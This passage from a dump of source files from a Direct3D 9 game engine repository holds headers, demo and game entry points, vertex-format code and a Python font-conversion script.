getModes();\r\n\t/// Returns DeviceCaps\r\n\tDeviceCapsPtr getCaps(D3DDEVTYPE device_type);\r\n\t\r\n\t/// Initializes Direct3D device\r\n\t/// \\param window Window which will be associated with this device\r\n\tvoid init(WindowPtr window);\r\n\r\n\t/// Returns VideoSettings used to initialize this class\r\n\tVideoSettings& getSettings();\r\n\t/// Returns Window associated with this device\r\n\tWindowPtr getWindow() { return window; };\r\n\t/// Sets color to fill screen at the beginning of every frame\r\n\tvoid setClearColor(const Color& color);\r\n\r\n\t/// Returns viewport size of default render target in pixels\r\n\tvoid getViewport(uint& width, uint& height);\r\n\r\n\t/// Switches to new video mode (which is set in global VideoSettings instance).\r\n\t/// Can be used inside beginScene(), endScene() block.\r\n\tvoid switchMode();\r\n\r\n\t/// Checks if device is available (not lost). Should be called at the beginning of every frame, and\r\n\t/// in case of false result all rendering must be skipped.\r\n\tbool ensureDevice();\r\n\t\r\n\t/// Begins rendering of new scene (frame) and clears rendertargets.\r\n\tvoid beginScene(bool clear_color = true, bool clear_depth = true, bool clear_stencil = false,\r\n\t\tRenderTargetPtr render_target = RenderTargetPtr());\r\n\t/// Ends renderings of scene (frame) and presents results to the screen.\r\n\tvoid endScene();\r\n\r\n\t/// Returns TextureManager\r\n\tTextureManagerPtr getTextureManager() const;\r\n\r\n\t/// Returns GpuBufferManaer\r\n\tGpuBufferManagerPtr getGpuBufferManager() const;\r\n\r\n\t/// Returns EffectManager\r\n\tEffectManagerPtr getEffectManager() const;\r\n\r\n\t/// Creates new SpriteBatch structure\r\n\tSpriteBatchPtr createSpriteBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 priority);\r\n\r\n\t/// Creates new Renderer\r\n\tRendererPtr createRenderer();\r\n\r\n\t/// Returns RenderingParams object used to provide common info to effects\r\n\tRenderingParams& getRenderingParams() { return rendering_params; };\r\n\r\n\t/// Sets scene projection matrix. Must be called before beginScene() to use new matrix in current frame.\r\n\tvoid setProjectionMatrix(const Matrix& projection) { projection_matrix = projection; };\r\n\r\n\t/// Returns currently active projection matrix. \r\n\t/// This might not be the same as you set using setProjectionMatrix() if you done it in beginScene/endScene() block.\r\n\tconst Matrix& getProjectionMatrix() const;\r\n\r\n\t/// Sets screen aspect ratio. Image will be letterboxed if current resolution has different aspect ratio\r\n\tvoid setAspectRatio(float ratio);\r\n\r\n\t/// Resets device. Can be used to switch display modes.\r\n\tvoid reset();\r\n\t\r\nprivate:\r\n\tvoid deviceLost();\r\n\tvoid deviceReset();\r\n\tvoid setUpParams();\r\n\r\n\tD3DPtr direct3d;\r\n\tD3DDevicePtr device;\r\n\r\n\tWindowPtr window;\r\n\r\n\tDisplayModesPtr display_modes;\r\n\tDeviceCapsPtr device_caps;\r\n\tD3DPRESENT_PARAMETERS params;\r\n\tD3DXCOLOR clear_color;\r\n\r\n\tTextureManagerPtr texture_manager;\r\n\tGpuBufferManagerPtr gpu_buffer_manager;\r\n\tEffectManagerPtr effect_manager;\r\n\r\n\tRenderingParams rendering_params;\r\n\tMatrix projection_matrix;\r\n\r\n\tIDirect3DSurface9* default_rt;\r\n\tIDirect3DSurface9* default_ds;\r\n\r\n\tD3DVIEWPORT9 viewport;\r\n\r\n\tbool lost;\r\n\tbool switch_mode;\r\n\tbool in_scene_block;\r\n\tbool frame_ended;\r\n};\r\n\r\ntypedef boost::shared_ptr<VideoDevice> VideoDevicePtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5136677026748657, "alphanum_fraction": 0.6101735234260559, "avg_line_length": 28.933822631835938, "blob_id": "31f14a0acfb3d1961691e9012d356ff06c03ca6f", "content_id": "1e416a0a9680b54c544ee47c03360d7a07337bfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4207, "license_type": "no_license", "max_line_length": 115, "num_lines": 136, "path": "/samples/VectorGraphics/VectorGraphics.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n#include \"VectorBatch.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass VectorGraphics: public Application\r\n{\r\npublic:\r\n\tVectorGraphics(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~VectorGraphics()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvoid generate_blob(uint points, const Vector2& center, float radius, float delta_radius, float rotation, int mode)\r\n\t{\r\n\t\tVector2 vec;\r\n\t\tpolygon.assign(points, vec);\r\n\r\n\t\tfor(uint i = 0; i < points; ++i)\r\n\t\t{\r\n\t\t\tfloat t = ((float)i / (float)points) * pi * 2.0f;\r\n\t\t\tfloat t2 = t * mode;\r\n\t\t\tvec.x = cos(t+rotation) * (radius + sin(t2) * delta_radius);\r\n\t\t\tvec.y = sin(t+rotation) * (radius + sin(t2) * delta_radius);\r\n\t\t\tpolygon[i] = center + vec;\r\n\t\t}\r\n\t}\r\n\r\n\tvoid generate_strip(uint points, const Vector2& start, const Vector2& end, float delta_y, int mode)\r\n\t{\r\n\t\tVector2 vec;\r\n\t\tline_strip.assign(points, vec);\r\n\r\n\t\tfor(uint i = 0; i < points; ++i)\r\n\t\t{\r\n\t\t\tfloat t = ((float)i / (float)(points-1)) * pi * 2.0f;\r\n\t\t\tfloat t2 = t * mode;\r\n\t\t\tvec = lerp(start, end, (float)i / (float)(points-1));\r\n\t\t\tvec.y += sin(t2) * delta_y;\r\n\t\t\tline_strip[i] = vec;\r\n\t\t}\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tvector_batch = VectorBatchPtr(new VectorBatch(main_renderer, 800, 600));\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tfloat t = Timer::getTimeMs() / 1000.0f;\r\n\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tvector_batch->drawLine(0, Vector2(40.0f + sin(t) * 30.0f, 40.0f + cos(t) * 30.0f), \r\n\t\t\tVector2(40.0f + sin(t + pi) * 30.0f, 40.0f + cos(t + pi) * 30.0f), 2.0f);\r\n\t\tvector_batch->drawLine(0, Vector2(40.0f + sin(t + 2.0f/3.0f*pi) * 30.0f, 40.0f + cos(t + 2.0f/3.0f*pi) * 30.0f), \r\n\t\t\tVector2(40.0f + sin(t + 2.0f/3.0f*pi + pi) * 30.0f, 40.0f + cos(t + 2.0f/3.0f*pi + pi) * 30.0f), 2.0f);\r\n\t\tvector_batch->drawLine(0, Vector2(40.0f + sin(t + 1.0f/3.0f*pi) * 30.0f, 40.0f + cos(t + 1.0f/3.0f*pi) * 30.0f), \r\n\t\t\tVector2(40.0f + sin(t + 1.0f/3.0f*pi + pi) * 30.0f, 40.0f + cos(t + 1.0f/3.0f*pi + pi) * 30.0f), 2.0f);\r\n\r\n\t\tgenerate_strip(32, Vector2(100.0f, 30.0f), Vector2(700.0f, 30.0f), sin(t) * 20.0f, 2);\r\n\t\tvector_batch->drawLineStrip(0, line_strip, 3.0f);\r\n\r\n\t\tvector_batch->drawTriangle(0, Vector2(70.0f + cos(t) * 20.0f, 150.0f + sin(t) * 20.0f), \r\n\t\t\tVector2(40.0f, 200.0f), Vector2(40.0f, 100.0f), Color(196, 255, 196, 196)); \r\n\t\tvector_batch->drawTriangle(0, Vector2(70.0f + cos(t + pi) * 20.0f, 150.0f + sin(t + pi) * 20.0f), \r\n\t\t\tVector2(100.0f, 100.0f), Vector2(100.0f, 200.0f), Color(255, 196, 196, 196)); \r\n\t\t\r\n\t\tgenerate_blob(64, Vector2(240.0f, 390.0f), 100.0f, sin(t) * 80.0f, t / 5.0f, 5);\r\n\t\tvector_batch->drawPolygon(0, polygon, Color(160, 196, 196, 128));\r\n\r\n\t\tgenerate_blob(64, Vector2(240.0f, 390.0f), 100.0f, sin(t + 0.4f) * 80.0f, 0.0f, 5);\r\n\t\tvector_batch->drawPolygon(0, polygon, Color(196, 160, 196, 128));\r\n\r\n\t\tgenerate_blob(64, Vector2(500.0f, 360.0f), 80.0f, 60.0f, -t, 2);\r\n\t\tvector_batch->drawPolygon(0, polygon, Color(160, 196, 160, 128));\r\n\r\n\t\tgenerate_blob(64, Vector2(550.0f, 200.0f), 60.0f, sin(t*3.0f) * 20.0f, t / 2.0f, 3);\r\n\t\tvector_batch->drawPolygon(0, polygon, Color(196, 196, 160, 128));\r\n\r\n\t\tvector_batch->present();\r\n\t\tmain_renderer->render();\r\n\t\tvideo_device->endScene();\r\n\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\nprivate:\r\n\tVectorBatchPtr vector_batch;\r\n\r\n\tstd::vector<Vector2> polygon;\r\n\tstd::vector<Vector2> line_strip;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tVectorGraphics app(hInstance, \"VectorGraphics\", \"VectorGraphics.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.7069334983825684, "alphanum_fraction": 0.718370258808136, "avg_line_length": 20.59677505493164, "blob_id": "3d2a80caeb65fcf467791a651ef6d39b7436e193", "content_id": "5cd880e4c1a88cbe2219ade9bda9732dc65ec563", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1399, "license_type": "no_license", "max_line_length": 106, "num_lines": 62, "path": "/apps/Delirium/Cave.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef CAVE_H\r\n#define CAVE_H\r\n\r\n#include \"Demo.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"Mesh.h\"\r\n#include \"Camera.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Cave : public TimelineSegment\r\n{\r\npublic:\r\n\tCave(RendererPtr renderer, VectorBatchPtr vector_batch);\r\n\tvirtual ~Cave();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\t\r\nprotected:\r\n\tfloat cube_size;\r\n\tfloat cube_size_ratio;\r\n\tfloat cube_distance;\r\n\tfloat cube_distance_ratio;\r\n\tVector3 cube_rotation;\r\n\tVector3 cube_rotation_delta;\r\n\r\n\tuint cube_idx;\r\n\tvoid cubeFractal(const Vector3& pos, float cube_size, float cube_size_ratio, float cube_distance, \r\n\t\tfloat cube_distance_ratio, const Vector3& cube_rotation, const Vector3& cube_rotation_delta, int depth);\r\n\r\nprivate:\r\n\t\r\n\tstatic const int cube_depth = 4;\r\n\tstatic const int cube_count = 1 + 6 + 6 * 6 + 6 * 6 * 6;\r\n\r\n\tVectorBatchPtr vector_batch;\r\n\tRendererPtr renderer;\r\n\tRenderableMeshPtr cave;\r\n\tRenderableMeshPtr cubes[cube_count];\r\n\r\n\tEffectPtr cube_effect;\r\n\tParamHandle cubes_texture;\r\n\tParamHandle cubes_light_pos;\r\n\tParamHandle cubes_light_color;\r\n\tParamHandle cubes_light_attenuation;\r\n\r\n\tVector3 light_pos;\r\n\tVector3 light_color;\r\n\tfloat light_attenuation;\r\n\r\n\tstd::vector<Vector2> fullscreen_rect;\r\n\r\n\tSimpleCamera camera;\r\n};\r\n\r\ntypedef boost::shared_ptr<Cave> CavePtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6120579838752747, "alphanum_fraction": 0.6324090361595154, "avg_line_length": 20.346590042114258, "blob_id": "e6dceaab9e0e2a9a1e54716203bfd5478856a483", "content_id": "ed25f35831b5278330ccff0706af97dee6b8408d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3931, "license_type": "no_license", "max_line_length": 105, "num_lines": 176, "path": "/source/VertexFormat.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"VertexFormat.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nVertexFormat::VertexFormat()\r\n\t: \r\nhas_position(false), \r\nnumber_of_uvs(0), \r\nhas_normal(false), \r\nhas_binormal(false),\r\nhas_tangent(false), \r\nhas_color(false), \r\nneeds_rebuild(false), \r\ndeclaration(NULL)\r\n{\r\n}\r\n\r\nVertexFormat::VertexFormat(bool position, uint UVs, bool normal, bool binormal, bool tangent, bool color)\r\n\t: \r\nhas_position(position),\r\nnumber_of_uvs(UVs),\r\nhas_normal(normal),\r\nhas_binormal(binormal),\r\nhas_tangent(tangent),\r\nhas_color(color),\r\nneeds_rebuild(true),\r\ndeclaration(NULL)\r\n{\r\n}\r\n\r\nVertexFormat::~VertexFormat()\r\n{\r\n\tsafeRelease(declaration);\r\n}\r\n\r\nuint VertexFormat::getSize() const\r\n{\r\n\tint size = 0;\r\n\tsize += has_position ? 12 : 0;\r\n\tsize += number_of_uvs * 8;\r\n\tsize += has_normal ? 12 : 0;\r\n\tsize += has_binormal ? 12 : 0;\r\n\tsize += has_tangent ? 12 : 0;\r\n\tsize += has_color ? 4 : 0;\r\n\treturn size;\r\n}\r\n\r\nuint VertexFormat::getNumberOfElements() const\r\n{\r\n\tint n = 0;\r\n\tif(has_position) n++;\r\n\tn += number_of_uvs;\r\n\tif(has_normal) n++;\r\n\tif(has_binormal) n++;\r\n\tif(has_tangent) n++;\r\n\tif(has_color) n++;\r\n\treturn n;\r\n}\r\n\r\n\r\nIDirect3DVertexDeclaration9* VertexFormat::getD3DVertexDeclaration(D3DDevicePtr device, uint stream)\r\n{\r\n\tif(last_device != device)\r\n\t{\r\n\t\tneeds_rebuild = true;\r\n\t\tlast_device = device;\r\n\t}\r\n\r\n\tif(needs_rebuild)\r\n\t{\r\n\t\tsafeRelease(declaration);\r\n\t\tD3DVERTEXELEMENT9* elements = new D3DVERTEXELEMENT9[getNumberOfElements() + 1];\r\n\t\tint idx = 0;\r\n\t\tint pos = 0;\r\n\t\t\r\n\t\tif(has_position)\r\n\t\t{\r\n\t\t\telements[idx].Stream = stream;\r\n\t\t\telements[idx].Offset = pos;\r\n\t\t\telements[idx].Type = D3DDECLTYPE_FLOAT3;\r\n\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\telements[idx].Usage = D3DDECLUSAGE_POSITION;\r\n\t\t\telements[idx].UsageIndex = 0;\r\n\t\t\tidx++;\r\n\t\t\tpos += 12;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tLOG(\"Vertex declaration has no position. Is this intentional?\");\r\n\t\t}\r\n\r\n\t\tif(has_normal)\r\n\t\t{\r\n\t\t\telements[idx].Stream = stream;\r\n\t\t\telements[idx].Offset = pos;\r\n\t\t\telements[idx].Type = D3DDECLTYPE_FLOAT3;\r\n\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\telements[idx].Usage = D3DDECLUSAGE_NORMAL;\r\n\t\t\telements[idx].UsageIndex = 0;\r\n\t\t\tidx++;\r\n\t\t\tpos += 12;\r\n\t\t}\r\n\r\n\t\tif(has_binormal)\r\n\t\t{\r\n\t\t\telements[idx].Stream = stream;\r\n\t\t\telements[idx].Offset = pos;\r\n\t\t\telements[idx].Type = D3DDECLTYPE_FLOAT3;\r\n\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\telements[idx].Usage = D3DDECLUSAGE_BINORMAL;\r\n\t\t\telements[idx].UsageIndex = 0;\r\n\t\t\tidx++;\r\n\t\t\tpos += 12;\r\n\t\t}\r\n\r\n\t\tif(has_tangent)\r\n\t\t{\r\n\t\t\telements[idx].Stream = stream;\r\n\t\t\telements[idx].Offset = pos;\r\n\t\t\telements[idx].Type = D3DDECLTYPE_FLOAT3;\r\n\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\telements[idx].Usage = D3DDECLUSAGE_TANGENT;\r\n\t\t\telements[idx].UsageIndex = 0;\r\n\t\t\tidx++;\r\n\t\t\tpos += 12;\r\n\t\t}\r\n\r\n\t\tif(number_of_uvs > 0 && number_of_uvs <= 8)\r\n\t\t{\r\n\t\t\tfor(uint i = 0; i < number_of_uvs; ++i)\r\n\t\t\t{\r\n\t\t\t\telements[idx].Stream = stream;\r\n\t\t\t\telements[idx].Offset = pos;\r\n\t\t\t\telements[idx].Type = D3DDECLTYPE_FLOAT2;\r\n\t\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\t\telements[idx].Usage = D3DDECLUSAGE_TEXCOORD;\r\n\t\t\t\telements[idx].UsageIndex = i;\r\n\t\t\t\tidx++;\r\n\t\t\t\tpos += 8;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(number_of_uvs != 0)\r\n\t\t\t\tLOG(\"Number of UVs must be between 0 and 8\");\r\n\t\t}\r\n\r\n\t\tif(has_color)\r\n\t\t{\r\n\t\t\telements[idx].Stream = stream;\r\n\t\t\telements[idx].Offset = pos;\r\n\t\t\telements[idx].Type = D3DDECLTYPE_D3DCOLOR;\r\n\t\t\telements[idx].Method = D3DDECLMETHOD_DEFAULT;\r\n\t\t\telements[idx].Usage = D3DDECLUSAGE_COLOR;\r\n\t\t\telements[idx].UsageIndex = 0;\r\n\t\t\tidx++;\r\n\t\t\tpos += 4;\r\n\t\t}\r\n\r\n\t\telements[idx].Stream = 0xff;\r\n\t\telements[idx].Offset = 0;\r\n\t\telements[idx].Type = D3DDECLTYPE_UNUSED;\r\n\t\telements[idx].Method = 0;\r\n\t\telements[idx].Usage = 0;\r\n\t\telements[idx].UsageIndex = 0;\r\n\r\n\t\tE_E(device->CreateVertexDeclaration(elements, &declaration));\r\n\r\n\t\tdelete[] elements;\r\n\t\tneeds_rebuild = false;\r\n\t}\r\n\treturn declaration;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.7336889505386353, "alphanum_fraction": 0.7386130690574646, "avg_line_length": 28.873416900634766, "blob_id": "bebc72f160626849488581fdcdb2b64223cfdac9", "content_id": "62c884b28d03e8b9c33f619ac9ed6c9bfebf51fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2437, "license_type": "no_license", "max_line_length": 104, "num_lines": 79, "path": "/source/DefaultGUIStyle.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"GUI.h\"\r\n#include \"SpriteBatch.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"Colors.h\"\r\n\r\n#define DEFAULT_GUI_TEXTURE_NAME \"DefaultGUITexture\"\r\n#define DEFAULT_GUI_TEXTURE_FILENAME \"DefaultGUITexture.png\"\r\n#define DEFAULT_GUI_FONT_FILENAME \"impact.fnt\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// \\brief Visual parameters of DefaultGUIStyle\r\n///\r\n/// It is possible to radically change GUI look only by providing \r\n///\tcustom DefaultGUIStyleDesc to DefaultGUI.\r\nstruct DefaultGUIStyleDesc\r\n{\r\n\tBitmapFontPtr font;\r\n\tTexture2DPtr texture;\r\n\tColor text_color;\r\n\r\n\tRectF src_button_up, src_button_down;\r\n\tRectF src_switch_up, src_switch_down;\r\n\tRectF src_slider, src_slider_knob_up, src_slider_knob_down;\r\n\tRectF src_selector;\r\n\tRectF src_selector_prev_up, src_selector_prev_down;\r\n\tRectF src_selector_next_up, src_selector_next_down;\r\n\tRectF src_pointer;\r\n};\r\n\r\n/// Default implementation of GUIStyle\r\nclass DefaultGUIStyle : public GUIStyle\r\n{\r\npublic:\r\n\tDefaultGUIStyle(SpriteBatchPtr sprite_batch, uint layer = 0);\r\n\r\n\tDefaultGUIStyle(SpriteBatchPtr sprite_batch, DefaultGUIStyleDesc& desc, uint layer = 0);\r\n\r\n\t~DefaultGUIStyle();\r\n\r\n\tvirtual bool hitButton(const Vector2& pos, const std::string& text);\r\n\tvirtual bool hitSwitch(const Vector2& pos, const std::string& text);\r\n\tvirtual float hitSlider(const Vector2& pos);\r\n\tvirtual bool hitSelector(const Vector2& pos, const std::vector<std::string>& selections, uint& button);\r\n\r\n\tvirtual void drawLabel(const Vector2& pos, const std::string& text);\r\n\tvirtual void drawButton(const Vector2& pos, const std::string& text, bool mouse_over, bool pressed);\r\n\tvirtual void drawSwitch(const Vector2& pos, const std::string& text, bool mouse_over, bool state);\r\n\tvirtual void drawSlider(const Vector2& pos, bool mouse_over, float state);\r\n\tvirtual void drawSelector(const Vector2& pos, const std::vector<std::string>& selections, uint item, \r\n\t\tbool mouse_over, bool mouse_over_prev, bool mouse_over_next, bool pressed);\r\n\r\n\tvirtual void endFrame();\r\n\r\nprivate:\r\n\tstruct SelectorStyleState\r\n\t{\r\n\t\tfloat prev_blend;\r\n\t\tfloat next_blend;\r\n\t};\r\n\r\n\tunion WidgetStyleState\r\n\t{\r\n\t\tfloat blend; // button, switch, slider\r\n\t\tSelectorStyleState selector;\r\n\t};\r\n\r\n\tbool validateDesc();\r\n\r\n\tDefaultGUIStyleDesc desc;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tuint layer;\r\n\r\n\tStaticHashMap<WidgetStyleState, uint, GUI::cache_size> cache;\r\n};\r\n\r\ntypedef boost::shared_ptr<DefaultGUIStyle> DefaultGUIStylePtr;\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6627534627914429, "alphanum_fraction": 0.6759160161018372, "avg_line_length": 21.82203483581543, "blob_id": "08b542294903c309662af917975d78daa079892d", "content_id": "0504cb6ac6d0ac8af870f5e066d1e9e2ced8e136", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2811, "license_type": "no_license", "max_line_length": 102, "num_lines": 118, "path": "/apps/Collapse/Collapse.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"GUI.h\"\r\n#include \"CollapseGUIStyle.h\"\r\n#include \"StateManager.h\"\r\n#include \"Filesystem.h\"\r\n\r\n#include \"States.h\"\r\n#include \"Menus.h\"\r\n#include \"Game.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Collapse : public Application\r\n{\r\npublic:\r\n\tCollapse(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename), state_manager(STATE_COUNT, 0.4f)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Collapse() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 1024;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 768;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 1024, 768, 0);\r\n\t\t\r\n\t\tfont = BitmapFontPtr(new BitmapFont(sprite_batch, Filesystem::redirect(\"gputeks.fnt\"), 1));\r\n\t\t\r\n\t\tCollapseGUIStylePtr gui_style(new CollapseGUIStyle(sprite_batch, texture_manager, font));\r\n\t\tGUIPtr gui(new GUI(gui_style, input));\r\n\t\tsetGUI(gui);\r\n\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255));\r\n\r\n\t\t// No background for now\r\n\t\t//background = texture_manager->loadTexture2D(\"background\", Filesystem::redirect(\"background.png\"));\r\n\r\n\t\tinput->getMouse()->setVirtualResolution(1024, 768);\r\n\r\n\t\tmain_menu = MainMenuPtr(new MainMenu(main_renderer, font));\r\n\t\toptions_menu = OptionsMenuPtr(new OptionsMenu(main_renderer, font, gui_style));\r\n\t\tgame = GamePtr(new Game(main_renderer, font, sprite_batch));\r\n\r\n\t\tstate_manager.setState(MAIN_MENU, main_menu);\r\n\t\tstate_manager.setState(OPTIONS, options_menu);\r\n\t\tstate_manager.setState(GAME, game);\r\n\r\n\t\tstate_manager.pushState(MAIN_MENU);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\t\treturn state_manager.update();\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tbool exit;\r\n\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\texit = state_manager.render();\r\n\r\n\t\tgui->present();\r\n\t\tsprite_batch->present();\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\r\n\t\tmain_renderer->endFrame();\r\n\t\treturn exit;\r\n\t}\r\n\r\nprivate:\r\n\tSpriteBatchPtr sprite_batch;\r\n\tBitmapFontPtr font;\r\n\r\n\tTexture2DPtr background;\r\n\r\n\tStateManager state_manager;\r\n\tMainMenuPtr main_menu;\r\n\tOptionsMenuPtr options_menu;\r\n\tGamePtr game;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tCollapse collapse(hInstance, \"Collapse\", \"Collapse.log\");\r\n\t\tcollapse.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6414955854415894, "alphanum_fraction": 0.6436949968338013, "avg_line_length": 33.73684310913086, "blob_id": "6f309ffe812eb8820821b6e1467b812574c6ca41", "content_id": "acb14bee511914a10aefcf255be0ddd66df1d966", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1364, "license_type": "no_license", "max_line_length": 67, "num_lines": 38, "path": "/tools/fnt2mml.py", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "from __future__ import with_statement\r\nimport sys, xml.parsers.expat, mml\r\n\r\nmml_font = mml.Node('font', '')\r\n\r\ndef start(name, attrs):\r\n\tglobal mml_font\r\n\tif name == 'info':\r\n\t\tmml_font.value = attrs['face']\r\n\tif name == 'common':\r\n\t\tmml_font.children.append(mml.Node('height', attrs['lineHeight']))\r\n\tif name == 'page':\r\n\t\tmml_font.children.append(mml.Node('texture', attrs['file']))\r\n\tif name == 'chars':\r\n\t\tmml_font.children.append(mml.Node('chars', attrs['count']))\r\n\tif name == 'char':\r\n\t\tchar = mml.Node('char', attrs['id'])\r\n\t\tchar.children.append(mml.Node('x', attrs['x']))\r\n\t\tchar.children.append(mml.Node('y', attrs['y']))\r\n\t\tchar.children.append(mml.Node('w', attrs['width']))\r\n\t\tchar.children.append(mml.Node('h', attrs['height']))\r\n\t\tchar.children.append(mml.Node('xoff', attrs['xoffset']))\r\n\t\tchar.children.append(mml.Node('yoff', attrs['yoffset']))\r\n\t\tchar.children.append(mml.Node('xadv', attrs['xadvance']))\r\n\t\tfor child in mml_font.children:\r\n\t\t\tif child.name == 'chars':\r\n\t\t\t\tchild.children.append(char)\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) != 2:\r\n\t\tprint 'Provide file to convert'\r\n\telse:\r\n\t\tparser = xml.parsers.expat.ParserCreate()\r\n\t\tparser.StartElementHandler = start\r\n\t\twith open(sys.argv[1]) as infile:\r\n\t\t\tparser.ParseFile(infile)\r\n\t\twith open(sys.argv[1], 'w') as outfile:\r\n\t\t\toutfile.write(mml.serialize(mml_font))\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.6416584253311157, "alphanum_fraction": 0.6416584253311157, "avg_line_length": 14.639344215393066, "blob_id": "7c8dabd88040ae922081a0ed3e527a40331d577d", "content_id": "e2be11564ddba8f3360c8dbf849904442d5191b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1013, "license_type": "no_license", "max_line_length": 74, "num_lines": 61, "path": "/source/Input.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Input.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nInput::Input(HWND handle) \r\n\t: \r\nwin_handle(handle)\r\n{\r\n\tLOG(\"Input initialized\");\r\n}\r\n\r\nInput::~Input()\r\n{\r\n\tLOG(\"Input destroyed\");\r\n}\r\n\r\nKeyboardPtr Input::getKeyboard()\r\n{\r\n\tif(!keyboard)\r\n\t{\r\n\t\tLOG(\"Creating Keyboard...\");\r\n\t\tkeyboard = KeyboardPtr(new 